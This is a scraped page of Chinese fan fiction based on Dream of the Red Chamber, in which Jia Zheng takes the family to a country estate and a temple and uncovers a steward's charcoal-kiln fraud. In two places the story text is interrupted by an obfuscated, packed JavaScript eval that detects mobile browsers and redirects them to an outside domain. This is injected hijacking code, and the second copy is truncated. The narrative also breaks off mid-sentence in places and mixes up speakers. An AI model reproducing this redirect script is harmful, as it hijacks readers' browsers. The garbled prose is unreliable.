贾政见母女三人搂抱着,两个孩子都已困倦,又大声说了句,“看外面的树叶多好看呢!” 引得探春嘟囔了一句“老爷成心不想让咱们睡觉。” 贾政笑了一声,一路上再没有打扰她们母女。 一行车马走了两个时辰,到了京郊别院。 田院不像是普通农家那样一个大院子,也分成了几个小院子。容纳贾家这些人完全没有问题。 院内各处有许多果树花卉,只是样子粗陋些,比不得京城。 宝玉一下车就看到果树,嚷着要去爬树摘果子,被贾母止住了。 随后贾政的轿子也到了,宝玉见父母姐妹都在,也就没有那么挂念果子,与姐妹们去摘花玩了。 潘武很有能力,两个月已成了大庄头乌修业的得力干将。这次贾家来这里小住,乌修业自然亲自接待。贾政一眼就看到了潘武站在乌修业身侧,满意的点点头。 等众人各自安顿好,打理好行李屋子,已经傍晚了。 潘武已经将晚饭布置好,就等着主子们吩咐开饭。因为主子们不多,晚饭只摆了两桌。 贾珠身体刚恢复,又因为路途颠簸,有些疲乏,就没过来。李纨在旁服侍,王熙凤已吩咐人把饭菜送过去了。 “都是田里种的瓜果蔬菜,老爷太太们不要嫌弃。”潘武边吩咐人上菜,边说道。 “我还就爱吃农家种的这些,比城里买到的味道要好。”贾母笑着说。 “还有这些鸡鸭鱼肉,一应也都是庄子里的。府里吩咐要过来小住几日,小人早就选好了最肥嫩新鲜的肉菜,预备好等着老太太呢!”潘武又说道。 “我尝了尝,这鸡肉做法虽然粗糙,吃起来却肉香浓郁,确实不同。”王熙凤浅尝了一块鸡肉,笑着对贾母说道。“老太太也尝尝。”说着话自己又开始为贾母布菜。 “潘武,你先下去吧。有什么事情,我再叫你。不用一直在旁边伺候。”贾政见贾母与家人们都很满意,就让潘武先退下了。 用罢晚饭,天色已晚,众人舟车劳顿,也都有些困乏,就都回房歇息了。 迎春探春惜春三姐妹一间屋子,在贾政隔壁,宝玉仍是在老太太那边安置。 此时,几人都聚在贾政的屋里,孩子们围着炕桌玩数独游戏。 “宝玉,你听,外面是什么声音?”探春忽然说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947711|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间,屋里的人都屏息静听。 待走近了,只听“喵喵”两声,原来是只猫。 宝玉已经开了门去看,门口窝着一只黄色狸花猫,肥嘟嘟的,神态慵懒。应当是附近人家养的猫。 “宝玉,不要用手摸,小心被抓了。”王夫人见宝玉有心要摸,忙制止道。 宝玉仍有些不甘心“二姐姐,三妹妹,四妹妹,你们快来看!好肥的猫!” 待迎春与探春刚下地看了一眼,那狸花猫突然就跑远了。宝玉小孩心性,追到了院子里,也没找到。有些颓丧地回来了。 “不要难过,兴许明天白日里能再见到呢!”探春牵了宝玉的手,把他拉到炕边坐下。 “明天我们一起在附近找找,碰巧就能找到了。”迎春也安慰宝玉。 宝玉新鲜劲过去的也很快,马上不再难过,几人又玩闹了起来。 贾政见孩子们玩得热闹,就没有打扰,悄悄出了门。王夫人看见了,也没说什么。 “我吩咐你的事,调查的怎么样了?”此时贾政坐在潘武屋中,捧了杯茶。 “回老爷,已经有些眉目了。”潘武恭敬说道。 “细细说来。”贾政闻言打起了精神。 “贾府在京中的田庄,三分之二是荣府的,又有三分之一是宁府的。其中荣府的由大庄头乌修业主管。” 贾政点点头,示意潘武继续说。 “去年,荣府的田庄忽然将地租翻了一倍,惹得下面的佃户纷纷不满,只是也不敢闹事。他们没了办法,只好转去租了其他家的。” “那么为何突然涨租呢?”贾政问道。 “说是那边圈了几片山要给宫里供应木炭。碳薪司的人去年就来调查过,那边的树木适合烧制成碳,就建了山厂。”潘武继续说道。 荣府在京中的田庄的确集中在西边,北边这处因为距香山与皇家猎场近,就购置了下来,虽然不方便管理,但也一直留着,以备贾府主子们赏秋或是伴驾便利。 潘武继续说“那附近还有一些山,林木也多,材质也好。乌庄头也盘下了几片,用来做木炭生意。他为了盖炭窑,住工匠,方便运送木炭材料,就涨了地租,不再把田庄租给佃户。也是为了不让贾家知道,炭窑里请的都是偏僻村子的河北人。” “那么说来涨租与几次天灾全然没有关系了?”贾政又问。 “小人家也在京城郊外,前两年虽则有旱灾有蝗灾,只是都很轻微,并没有太影响了田地产出。所以我一开始就不相信乌庄头上报的理由,就暗中调查。他们也藏的不很隐蔽,大约没想到有人会来查。”潘武说到这里,也是愤愤不平。 贾政听了,怒极反笑。“潘武啊,这就是我非要招你一个猎户来帮我管田庄的原因。贾家上下的蛀虫实在太多了,这么光明正大地中饱私囊,竟没有一个人知道的。” “老爷预备如何处置呢?炭窑那边路线我都熟悉,若是要抓他们人赃并获,明日就可过去。老爷假借在这边赏景,偷偷溜去炭窑,保管乌庄头意想不到。”潘武建议道。 贾政眯了鹰眼,细细思索。 “不可,这几日老太太与太太们都在,若是那乌修业在老太太跟前示弱祈求,老太太说不定会顾及旧情轻饶了他。”贾政想了想,又说 “过几日,等老太太们都启程回去那日,咱们突袭炭窑,杀他个回马枪。” 入了秋的乡间,夜晚已经很冷,贾政一边走,一边搓着有些冻僵的双手。 王夫人还没睡,屋里留了灯。 贾政刚走到门口,就听到“吱呀”一声,王夫人推开了门。 她见贾政只着单衣,忙走上前,给他披了一件夹袄,关怀道“郊外风大,更深露重,书文这么不细心,也不提醒老爷多穿几件。” “我只是随意出去走走,没想带书文。不成想却迷了路,这才有些晚了。”贾政笑着说道。 他又接过王夫人递来的热茶,喝了一大口。 孩子们已被王夫人安置好,宝玉回了老太太那边,迎春三姐妹在隔壁也熟睡了。 “夫人,明日我们去红叶岭赏秋,我听潘武说那边山脚有一小庙,很是灵验。” 二人已躺到床上,贾政突然开口。他知道王夫人平日里喜欢求佛拜庙,因此特意问了潘武。 王夫人点点头。她很是困倦,不一会儿就进了梦乡。贾政在黑暗中伸出食指,轻轻抚平了王夫人的眉头,又不禁勾起一个笑容。 一夜好眠。 13. 问道拜庙慈母心肠 次日一早,用过早饭,贾政建议众人齐去红叶岭赏秋。 “老太太,那边不只秋意浓厚,更有一小庙,名曰无为寺,很是灵验。” 贾母听了,自然连连说好,其他人也都想着既然来了,便去拜一拜。既可赏秋景,又有寺庙拜佛。 富贵人家,几乎个个都喜欢拜佛,每年施舍的香油钱更是无数。不论灵验与否,起码是个事情做,打发时间也好。 仍和来时一样,一行人坐了车马,笑闹着,齐去了红叶岭。 红叶岭距离贾府田庄很近,车行半个时辰,就到了。 正是赏秋时节,西山红叶更是京城八景之一,因此一路上车马不绝,像是庙会那般热闹。 路边有些聪明的商贩早早支了摊子,卖一些农家土产与节庆玩意。 贾母见一路上游人如织,心里有些不太高兴。按荣府以往的做派,不论是入寺拜佛还是游园赏景,肯定要早早请了场,免得家中女眷孩童受了冲撞。 只是看着宝玉一路上兴致勃勃,对游人商贩又很新奇,贾母就按下了心中的不快。况且今日出游是贾政提议的,一片孝心,她也不好表现出不满。 贾母的轿子停了下来,鸳鸯掀了帘子,说道“老太太问,快到了吗?” 贾政早已弃轿步行,他走到贾母轿子跟前,说“老太太,快到了。红叶岭本是一大片树林,也就没有固定的庭院。凤丫头早就备好了一顶轻便二人小轿,供老太太乘坐,既不累人,又可赏景。老太太不若现在就换了小轿吧。” 说话间,王夫人与两个孩子,王熙凤也都下了轿。贾珠身体不好,怕步行多了,禁受不住,王熙凤也为他与李纨备了小轿。 不一会儿,贾府众人都下了轿子,只贾母惜春与贾珠李纨坐轿赏景。 宝玉早就不想坐着了,贾母劝他不动,索性任他自由玩闹。 “二姐姐,三妹妹,你说平日里咱们怎么没有经常来这些乡野地方玩一玩呢?” 宝玉与迎春探春行到一处,姐妹三个叽叽喳喳玩笑着,时而拿着摊贩卖的小玩意,时而跑到路旁田地里,追一只花鸟。 “今日一看呐,做个乡野人家也蛮好的,又简便,又自在,还有这么多可玩可乐的。”宝玉边说话,边弯腰拾了好多叶子,又把它们抛到空中。树叶纷纷扬扬,又落到地上, “我想,乡野人家虽也少不了烦难之处,但父母子女,日日欢笑,同在一处,不比咱们公府之家要差。”迎春难得出门,此时心里也放松不少,但仍说了这么一句略显伤感的话。她捡了一片枫叶,在手中把玩。 “只是若日日像今日一般游玩,也很快就会腻了吧?况且乡野人家的烦难之处,咱们又从何得知呢?不如还是偶尔来玩的好。”探春又说道。 “这三个孩子,虽然年纪相仿,但性格迥异。”贾政与王夫人走在孩子们后面,此时贾政听了几个孩子的对话,笑着说道。 王夫人从来没有像今天这样,不仅混在人群中,还要步行,虽然还不觉得累,但她却很不自在。 “一母同胞的兄弟尚且性格各异,性情二字,还是天生的。”王夫人回应道。 “太太,可还走得惯?”王熙凤从后面跟了上来,身边还有平儿与贾珍媳妇尤氏。 “倒没什么,走走也就习惯了。”王夫人笑着回道。 王熙凤掩了帕子,也笑了,“要我说啊,太太若是走不惯,就去发落老爷,这全是老爷吩咐我的。” 贾政有些尴尬,“我是想着咱们既然出来赏景,游人们都是步行,唯独咱们坐轿子,也太扎眼。若是清了场,普通百姓们又去哪里赏景呢?况且昨日已住过了田庄,今日再试试像普通百姓那样步行着,也算是咱们的忆苦思甜了。”贾政早就感觉到王夫人有些不自在,如今趁机就做了解释。 贾政不过是想让这些富贵人家的太太公子小姐体验百姓生活,万一日后贾家真的落魄了,也算是提前做准备。况且,孩子们一直养在蜜罐里也不行,走走路就算苦了吗? “要我说,这样也蛮好的,就像是小时候骗了家中长辈,偷溜出去逛花市,逛庙会,热热闹闹的,也是一种趣味。”尤氏出身小户人家,这一则是她的亲身体验,二来也是打个圆场,表明自己的态度。 “我家奶奶幼时才是顽皮,不仅要偷溜出去,还乔装打扮,扮作兄长的样子,大模大样骗了门房,出去玩闹呢!”平儿说着王熙凤幼时的趣事。 “你这丫头,哪次出门我没有带着你吗?被老爷太太发现了,我不是回回都帮你挡着板子吗?”王熙凤佯装生气“现在说这些,是要和我清算清算吗?” “平儿可不敢!”平儿笑着快步走到前面去了,王熙凤与尤氏都跟上前去。 贾政看着她们离去,笑着摇摇头。 “老爷,我也想去逛庙会,看花灯!”宝玉跑到贾政身边,突然说道。 贾政牵了宝玉的手,问“宝玉走得累不累?” “一点都不累,我还能走两个时辰!”宝玉口出豪言。 旁边的王夫人迎春探春都笑了。 “那么,你今日要一直走到无为寺,也不可以喊累。若是做到了,明年元夕,我就带你们去看花灯,逛庙会。”贾政边走边说。 王夫人牵着迎春与探春走在他们前面。 “宝玉在说大话,我才不信,老爷心疼宝玉,才轻易相信了。”探春故意激宝玉,才这么说。 “路还远着呢,宝玉你快把话收回去吧!肯定走不到的。”迎春是真心劝宝玉的。 “二姐姐,三妹妹”,宝玉突然走到路中间,“咱们三个比一比,看谁先到无为寺。老爷刚才说,顺着大路一直走,一刻钟就到了。” “有什么彩头吗?”探春问。 宝玉突然愣住了,他提出比赛只是一时兴起,哪有什么彩头。 “谁先到了,我就亲自做一只走马灯送给她!”贾政替宝玉先说了。 “一言为定!”宝玉与探春几乎同时说,迎春兴致缺缺,但也勉强同意一比。 三个孩子先后跑到前面去了,王夫人立刻示意奶娘与丫鬟们跟上。 “老爷,游人又多,路也生,孩子们跑来跑去,万一摔了。”王夫人犹豫一会儿,还是说出了心里话。 “夫人你看,既然来拜庙,越虔诚越灵验。咱们走着去,佛祖看到了,肯定事事都如咱们的意。”贾政岔开话题,忙说道。 他一只手搀扶王夫人,仍是不紧不慢地走着,像是在自家宅院里闲逛。 王夫人一口气憋着,不上不下。这个老爷,年纪越大,越像年轻时那么胡闹了! 众人都很顺利地聚到了无为寺。贾母惜春与贾珠李纨坐着轿子,到的早些。其余步行的人稍晚了一会儿到。 三个孩子早就跑得气喘吁吁,齐齐歇在了寺门外的一处亭内。 “宝玉还小,你让他这么跑,跌了跤可怎么办?”贾母一看到贾政到了跟前,就没有好气地说了一句。 “老太太莫忧,这不是好好的嘛!孩子们常拘在府里,身体也弱些。有机会能跑跑跳跳,也是强身健体。”贾政回道。 小惜春已凑到姐妹身边,与她们笑着说话。 王夫人没说话,坐在了孩子身边,细细看着他们几个是否受了伤。 “老太太,既然咱们人都到了,就进寺里看看吧。”王熙凤说道“方才在路上,我听路过的一对小夫妻说话,他们今日来寺里还愿,去年他们来求子,果然今年就得了一个大胖小子呢!” “果然这么灵验?”谁不喜欢灵验的寺庙?贾母如今长寿多福,唯一略有遗憾的就是贾家子嗣还不够丰。要真如此灵验,少不得要让王熙凤,尤氏,李纨这几个年轻媳妇都好好拜拜。 “那可不是嘛,咱们一行快进去吧。午间寺里还有斋饭,我早与主持说过,添了一笔香油钱,就把今日的斋饭都供给咱们,不让外人进来了。”王熙凤笑着说,边亲扶起贾母。 众人都笑笑,整整衣裳,往寺里去了。 宝玉姐妹几个故意走在后面。 “老爷,方才说的可算数?”宝玉轻轻扯着贾政的衣袖,问道。 “你们谁先到的?”贾政问。 “自然是···”宝玉话没说完,探春就接了一句“自然是二哥哥先到的。” “说过的话自然作数的。”贾政分别摸摸孩子们的头,微笑道“过几日我闲了,每人给你们做一个走马灯好不好?” “明年元夕节,也带你们出去玩!” 孩子们都没想到真的有如此好事,嘻嘻笑着应下,又在一起玩闹去了。 “锦屏,看好孩子们,进了庙里,要庄重一些。”王夫人嘱咐丫鬟道。 无为寺不算大,但胜在清幽雅致。门前还有一株据传已有六百多年的古柏。 历经日晒雨淋,仍是簇簇一片墨绿。 门口两根大红门柱镌刻两联: “无我无人无众生寿者皆以无为法” “如露如电如梦幻泡影应作如是观” 中间匾额高悬,金字已然斑驳,镌刻了“无为寺”三个大字。 古刹清幽,佛像庄严,梵音阵阵,檀香屡屡。一行人进了寺庙都是神色庄重,细细看着。 大雄宝殿供奉了一座庄严佛像,有一桌案,摆着香炉并两个签筒。 待屏退了闲杂人等后,鸳鸯代贾母先行拜过。 贾政不拜,随后该王夫人了。她挥手让开了丫鬟,亲自焚香叩拜。 “我佛慈悲,保佑贾家富贵不衰,老爷官运亨通。元春在宫中能平安顺遂,早日出宫团聚。珠儿身子康健,多子多福。宝玉,探春,迎春和惜春四个孩子都能平安长大,嫁娶良人,福寿长久。”王夫人恭敬拜了三次,口中默念着她的愿望。随后插好香 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停下来之后,贾政问道。 贾珠想起此事,眼中满含温情“不仅会叫爹爹,还会叫妈妈,祖母了呢。” “这样的日子你可喜欢?”贾政又问。 “儿子好像现在才明白过来,能与家人同喜同乐,是一件多么简单,又多么幸福的事情。” 贾珠说起这话时声音柔和,满满都是对家人的眷恋。 “那么今后···”贾政顿了顿。 “老爷不用为儿忧虑,我早就想好了。”贾珠说道。 “其实前些日子太太也劝过我。太太已不年轻,还要时时为我这个不孝子担忧,说起来是我的不孝顺。” “宫裁没有劝我,但我最懂她的心。太太因为差点失去儿子以至于难过至此,宫裁可能失去的不止是丈夫,还是他儿子的父亲与依靠。”贾珠仍低低说着。 “在病床上,想着前半生苦苦求学,真宛如梦幻泡影。以前觉得重要的事情好像一瞬间就成了尘土。真正对我重要的不是前程,而是家人。”贾珠说到这里,抬头看了贾政一眼。他有些担心自己这么说,会让贾政不高兴,觉得自己胸无大志。 贾珠听罢,点点头,笑道“你生在这样的家庭,既享了福,本也应该尽一点责任。只是之前我逼你太甚,让你伤了身子,这是父亲的不对。”贾珠见贾珠有意说话,摆了摆手,仍继续说 “况且,大家族中,其实也分不太清什么算是尽了责任。对父母长辈来说,你如今只要身子康健,平平安安,那便是千金难换的好事。” “你不要忧虑家业,万事还有父亲在,你们兄弟姐妹只要好好的,父亲定会想办法护住你们。” 贾政顿了顿,继续说道: “我有意整顿组学,倒不是仍想让他们读书考科举,只是想着让贾家的子弟学一些经世致用的实际事务,日后哪怕家族落魄,也不至于无立足之地。等你身体好起来了,可以去族学中,教小一辈的读书习字。日后便做个富贵清闲的田舍翁吧。”贾政拍拍贾珠肩膀,温声说道。 另一边,王熙凤与平儿走累了,也歇在了亭内。 “平儿,你方才求了什么签,给我看看?”王熙凤笑问道。 “奶奶不是向来不信什么阴司鬼神报应的嘛!何必来看我的签?”平儿一步迈离了王熙凤。 “你这个丫头!”王熙凤佯怒道。 “凤丫头你自己不拜,现在又来看人家的签,何苦来的!”贾母也打趣她。 “平儿,宫裁,咱们一起去解签。”尤氏也想逗逗王熙凤,故意拉着李纨与平儿走了。 “你这个凤丫头,还在这里生闷气嘛?快去看看斋饭准备好了没有。”王夫人见王熙凤兀自坐着生气,就让她去看看斋饭。 曲径通幽处,禅房花木深。 斋堂与禅房一墙之隔。一应菜蔬都是寺里的和尚亲自种的,也算是清爽可口。 贾家人坐在斋堂,安静用了斋饭,又在寺中给香客提供的屋子休息了一会儿。 回程时,已是傍晚。来时路远,回时路短。他们都坐了轿子。 寺庙的屡屡香火伴着晚霞勾勒出一副山景图画。晚钟杳杳,古刹也洒上了余晖。 “太太,其实今日比赛是三妹妹赢了,他与老爷那样说,是怕老爷责罚我。”宝玉窝在王夫人怀里,已很困倦,轻轻说着。 王夫人怜爱地摸摸他头,柔声说“宝玉睡吧,元夕咱们一家人仍像今日一样出去玩。” 宝玉得了承诺,甜甜睡去,嘴里还说着“走马灯···” 迎春与探春姐妹俩被锦屏一左一右抱着,也都睡熟了。 贾政与王夫人听了宝玉的呓语,相视一笑。 14. 恶奴当道炭窑惊变 从红叶岭回来的第二天,众人又在庄子上玩了一日。 潘武准备了一些兔子,小鸡,小鸭,小羊羔让孩子们玩,还抱来了那只狸花猫。 大人们则是在四处的农家走了走,看了看农忙生活。 只有王熙凤,光是看还不过瘾,竟下了田,还像模像样的抡了几下锄头。 其他人都被她逗得大笑,只有平儿边笑边夺了锄头“奶奶还是安分一点,让我省点心吧。”王熙凤也就没有坚持。 在田庄住了三日,贾母便有些累了,约定好返城的日子。 返程当晚,趁着孩子们睡了,贾政把自己的发现与计划说给了王夫人。 贾政先说了乌修业私自涨了田租,拿贾家的地暗中做自己的买卖。 王夫人听罢自然很是气愤“这帮子奴才,平日里对他们宽了,现在竟然胆大包天,欺侮到主子头上来了!” “老爷预备如何处置?”缓和了情绪,王夫人问贾政。 “我担心那乌修业若是提前得了消息,定会想办法抹去证据,并去老太太那里求情。说不准,老太太心一软,就从轻发落了他。” 王夫人点点头,也认为是这样没错。老太太人老多情,对家里的老奴才的确可能容情。 “我打算明日回程时,装作在车上回了城,让乌修业放松警惕,然后带潘武偷偷去炭窑那边,逮他个措手不及。”贾政说道。 “不可!”王夫人大惊,忙阻止道“老爷怎么能以身犯险!回去之后派赖管家和周瑞同去就行了,万一那些刁民伤了老爷如何是好!” 贾政按下她肩,安抚了一会儿才说“夫人莫忧,我已有了详细计划。” 他亲自给王夫人倒了杯茶,见她抿了口茶,才继续说道“府里的下人们关系盘根错节,说不准谁与谁之间关系亲密,无论派哪个人做这件事我都不放心。” 顿了顿,贾政继续说“明日不只我与潘武同去,潘武听了我的吩咐,已在附近安排好了一队身体强健的壮汉,明日与我们一同去。炭窑里多是工匠,不成气候。只要能连人带货扣下他们一车,到时人赃并获,不怕他不肯招。” 王夫人仍忧虑“不如与京兆府尹说一声罢了,何必亲自去做?拿出荣国府的牌子,谁敢不卖几分面子呢?” “若是让他们去办,必定派一队兵马,强行关停炭窑,抓了工匠,人员伤亡也会不少。万一被有心人知道了,以此上奏,圣上肯定怪咱们贾家仗势欺人,岂不是咱们搬起石头砸了自己的脚吗?”贾政耐心解释道。 王夫人听了,又思来想去,想不出好办法。 “夫人放心,明日我躲在暗处,有那么多人保护我,不会出事的。”贾政柔声宽慰。 “只是明日车马到了府里,老太太要问起我的去处,你就说半路上有部里的人来找我,事情紧急,就没有告诉老太太。明天晚上,我回去了,再去和老太太请罪。”贾政叮嘱道。 王夫人点点头,神情仍是忧虑。 返程之日,乌修业和潘武在庄外亲自相送。 “潘武,你留在庄子上善后,我先去别的庄子巡视了。”乌修业见贾家车马走远,神情欢欣。他拍拍潘武肩膀,吩咐道。 潘武恭敬应下了。 乌修业自己骑了一匹快马,带着随从,往西边走了。 潘武一路尾随着乌修业。 城西边靠近贾府田庄的农田,这边的高粱还没有收割,潘武与他的手下,隐藏在这里,等着贾政与他们汇合。 乌修业自从盘下附近的几处山头,便重修了一条路,与官家运送煤炭的大路区分开了。 此时小路上没有人走,只偶尔过去几辆给炭窑运送材料的车马。 潘武早就派人在五里开外等着贾政。他老远看到贾政与接应的人过来,就更警惕地看四周的动静。 “有什么动静吗?”贾政将身子也隐藏到田垄后头,问道。 潘武摇摇头,“只有几队运送材料的车马。” “打听好了他们今日要往京城送五千斤红萝炭?” 潘武点点头。 乌修业的炭窑出的木炭只能算是中下等红萝炭,他却以次充好,掺着卖给那些新来京城的官员富商们。此时入了秋,京城陆续烧起了炭火取暖,他的生意也渐渐红火起来。 他们等了约一个时辰,就看到从炭窑的方向走出一大队车马。待走近了看,随行人员只有十来个。 贾政看了,轻轻摇摇头,心里暗想:这个乌修业,看起来是一点也不担心贾家人来查他啊!竟然这么松懈。 待车马走近了,贾政眼神示意,潘武就带着二十几个壮汉围住了车队,轻松制服了那十来个人,没有放跑一个。 “领头的是谁?”潘武面色不善,问道。 一个衣着华丽的年轻男子站了出来,大声喊着“你们这些小贼,识相的快点放了我们,留你们几条狗命。也不出去打听打听我们是为谁做事!” “你们是为谁做事?”贾政神色和善地问。 年轻男子见贾政气度不凡,心里打起了鼓。仍是梗着脖子喊“荣国府,贾家!” “怎么样,怕了吧!”男子本以为说了这话,这帮人定会吓得马上放了他们,却没料到,眼前的男人笑的更开怀了。其余的人倒是面含嘲讽,轻蔑地看着自己。 “乌修业可在里面?”贾政继续问。 “你怎么认识乌庄头的?”年轻男子惊觉不好,莫不成是宫里的人? “你不用管我怎么认识的。只需要回答这批炭运往哪家,收了多少银钱,货单可在你手上?”贾政气势更足,一连串的问题,字字打在年轻男子的心上,他开始感到害怕。 “好好想想怎么回答,若有假话,仔细你的皮!”潘武威胁道。 那男子仍不想说,贾政眼神示意潘武派人搜身。搜身前潘武拿粗布堵住了他的嘴。 男子仍是挣扎着想要大喊,企图提醒炭窑那边,却只有支支吾吾的呜咽声。 潘武把搜出来的一封书信递给贾政。贾政接过后打开一看,就是货单。 只是怎么是送到左思嘉府上的?左思嘉正是那日贾母生辰上,当着工部官员,出口刁难贾政的那位礼部员外郎。 这个左思嘉,果真存了陷害贾府的心思!贾政立刻想到。 左思嘉拿了这批木炭,既可以陷害贾府这是暗中买卖给宫中供应的木炭,以此牟利。也可以说贾府以本来送往宫中的木炭贿赂官员,暗怀不轨,结党营私。 想到这里的贾政,此时非常庆幸自己今日亲自来了。 却不知道,乌修业与左思嘉暗中可有联系?贾政又想。 贾政折好货单,眼神示意潘武,让他到路旁说话。 “你派几个人将这批木炭拉到京兆衙门。”贾政把货单递给潘武,吩咐道。 “告乌修业私自拿主家的地做自己的买卖,并且以次充好,诓骗买主。”潘武听了慎重点头。 “同时拿了我的印信,去贾府找周瑞管家,让他与你的人一起去衙门,他对这些事情熟悉,也办得妥当。”贾政又说。 潘武很快就按照贾政的吩咐安排好了人员。潘武这几个月也培养了几个自己的亲信,都是原本村子里从小一起长大,信得过的人。 贾政就是要把事情摆到明面上,以防乌修业真的和哪个官员暗中勾结,反而害了贾府。经过京兆府公开处理,日后再出了事,就与贾府无关了。 此时货物已被送走,那刚才还嘴硬的年轻男子,脸上满是惊慌。 “现在知道害怕了吗?”潘武踢了他一脚,“走吧,带你去看戏。” 贾政一行人押着炭窑的人,走向了乌修业的窑厂。 远远地,窑厂就有守卫过来,五六个人,都有兵器。见他们绑了自己人,神情都很凶狠。 贾政二话没说,使了眼色,这几个人也被制服了。 他们走进窑场,里面已经收到了消息,工匠都停了工,黑压压围满了平地。 与码放整齐的木炭一样,工匠们满脸满身都是煤灰,两鬓苍苍十指黑,人人神情麻木地站立着,并没有动手。 “乌修业何在?”潘武大声喊道。 乌修业早在消息传来时就准备跑,只是突然被身旁一个大汉捆住了。这人正是潘武培养的亲信之一,也是猎户,一个月前被潘武安插到了炭窑,以作接应。 被捆住的乌修业出现在了众人面前,工匠们见平时颐指气使的庄头如此狼狈,心内大快。 “乌修业,你可认得我?”贾政走到乌修业跟前,低头笑吟吟看他。 “老爷···”乌修业见贾政亲自来,自然知道事情败漏,喊了一声也很是颓丧。 “老爷看我乌家世代做贾家的奴才,这次就饶了我吧,炭窑的一并收成我都献给府上。”乌修业哀求道。 贾政笑笑没有说话。 贾政吩咐潘武在外面维持秩序,稳住工匠们。自己带了两个汉子,拉着乌修业进了屋子。 “你与左思嘉什么关系?”贾政坐下,问乌修业。 乌修业摇摇头,“只是前些日子从我这里订了木炭,我按约定给他送货的。” “你的货并不好,价格也高,何必非用你的?左思嘉在京中做官数十年,难道没有熟悉的货商吗?”贾政厉声说道,试图吓他说出实话。 “说,你们是不是暗中勾结,要陷害贾府?” 乌修业更是惶恐“老爷,你就信了我吧!奴才除了田庄这些粗陋之事,其他又懂些什么呢?更不敢去勾结官员陷害贾府啊!” “奴才不过是一时被钱财迷了心,才做下了糊涂事!老爷千万信我!”乌修业又央告道。 贾政突然闻到了一股腥臊味,细看,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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土窑内光线暗淡,不仅脏乱,气味也很难闻。 马双虎与工匠走在前面,一一介绍着里面的设施与窑场每日的工作, 正说着,突然一块作为支撑的石头斜斜滚了下来,就要砸到工匠肩上。贾政在后面看得清楚,那石头有四五十斤重,他忙伸手推了工匠一把,工匠跌倒在地,石头擦着贾政右臂滚落,在贾政手背至小臂上留下了一个三寸许的血口子。咚的一声,落在地上,扬起一大片尘土。 伤口看着严重,贾政忙从衣摆撕下一条布料,暂时止住了血。面上仍是笑着安抚两人。 马双虎见此情景,很是自责,忙把贾政搀扶到了外面。并找了大夫来处理。 土窑事故不少,常有受伤的,因此大夫就常住在这里,预备看病。 大夫剪开布料,为贾政清理了创口,又敷了草药,才用白布紧紧缠住了。 “老爷,您这伤口最好半个月不要沾水,也不要干重活。很快也就好了。”马双虎当过兵,皮外伤受的多了,此时也放了心,就叮嘱贾政。 “看你说的什么话,老爷哪用得着干重活!”潘武调侃马双虎。 只是那被贾政推开的工匠还有些自责“多谢老爷今日救我,不然我脑袋肯定不保了。” “无碍的”贾政笑着安抚工匠,不想他自责。 “我一条贱命死不足惜,只是老爷万一受了伤···”工匠又说着。 “你不也有父母妻儿吗?你的命也很贵重。”贾政正色道。 那工匠苦笑地摇摇头,没说什么。 说话间,衙门的人来了。此事有关荣国府,他们也很重视,派了一大队官兵前来处理。贾政让潘武替他与衙役交涉。领队之人问了一些事情,四周查验了一下,就把乌修业带走了。 “潘武,这个窑厂以后由你主管,府里那边我会派人与你交接的。账目一月一报,马双虎做你的副手。”贾政安排道。 潘武与马双虎笑着应下了。 “另外,把工匠们的食宿都改善一下。他们也是从外地来谋生的,不容易。除了食宿,每日休息时间也要延长,工钱比市面上的提高两成,还有最好是每日分成三个班次。具体的你安排好后拿来给我看。”贾政吩咐潘武。 潘武之前就知道贾政对含凉殿工匠们的仁厚政策,也很熟悉如何去做。 “还有,这几日衙门的事情应当还要调查几天,你先不要开工。先着手把所有炭窑并工匠屋舍,统一修缮加固,不要再出现像今天这样的事情了。”贾政正色道。 潘武与马双虎都是穷苦出身,平时对工匠们就很是同情。 此时又见贾政如此宽怀体恤工匠,也都很是高兴,认为自己效力对了人。 15. 可怜天下父母心 贾政安排好窑厂的事情,就匆忙赶回了京城,到了贾府正是晚饭时间。 他悄声进了院子,先去了书房。轻声唤来书文为他拿沾了烈酒的棉布清洗伤口,又上了府里的金创药。随后拿干净白布细细扎紧。这才出了书房去王夫人的屋子。 贾政神色自然地说了今天的事情一切顺利,已经将乌修业押送官府了。 只是王夫人听了,却没有很高兴。 “那咱们去老太太那边用晚饭吧,省的老太太打听我的行踪,又担心我。”贾政说道。 二人去贾母屋里请了安,又用晚饭。贾政言谈行动间小心谨慎,没有漏出受伤的手臂。 贾政用罢饭,带着宝玉姐妹四个又去院子里玩。 贾政一出门,贾母脸色就不好“二老爷今天去了哪里?那么一大股药味,我隔了老远就闻到了,伤在哪处?” 贾母虽然知道王夫人管不住贾政的行踪,但是怒气总要有个出口。 王夫人低垂了眉眼,起身恭敬回道“本来老爷是说去部里议事,谁知道回来后右臂就划了一道口子。幸好伤口不深,书文已经为老爷上了药。” 贾政一进院子王夫人就知道了,她也问过书文老爷在书房做什么事,书文一一告诉她了。 “看过大夫没有?”贾母又问。 王夫人摇摇头,“只找了个乡野郎中看过” “明日一定要找太医看看,二老爷也不年轻了,可不能马虎。”贾母嘱咐道。“二老爷有时也难免有犟脾气,你也应该多劝劝才是。” 王夫人点头应下了。 本来以为自己隐藏的很好的贾政,晚上回到房间,看到床头桌子上明晃晃摆着一瓶金创药。他闻了闻,比他用的那瓶好多了。 于是只好摇头笑笑,意识到自己忽略了王夫人对自己的关注程度。 没过几日,京兆衙门又派人来查明情况,贾政没有出面,让潘武与周瑞处理。 案子涉及了左思嘉,他是明面上的受害人。只是他没有出面,打发了人向贾政道谢。 案子处理得很快,不到十天,衙门那边已经有了结果。 判了乌修业与几个他的得力助手流刑,算是比较重的。窑厂那边调查清楚后仍划给了贾家。 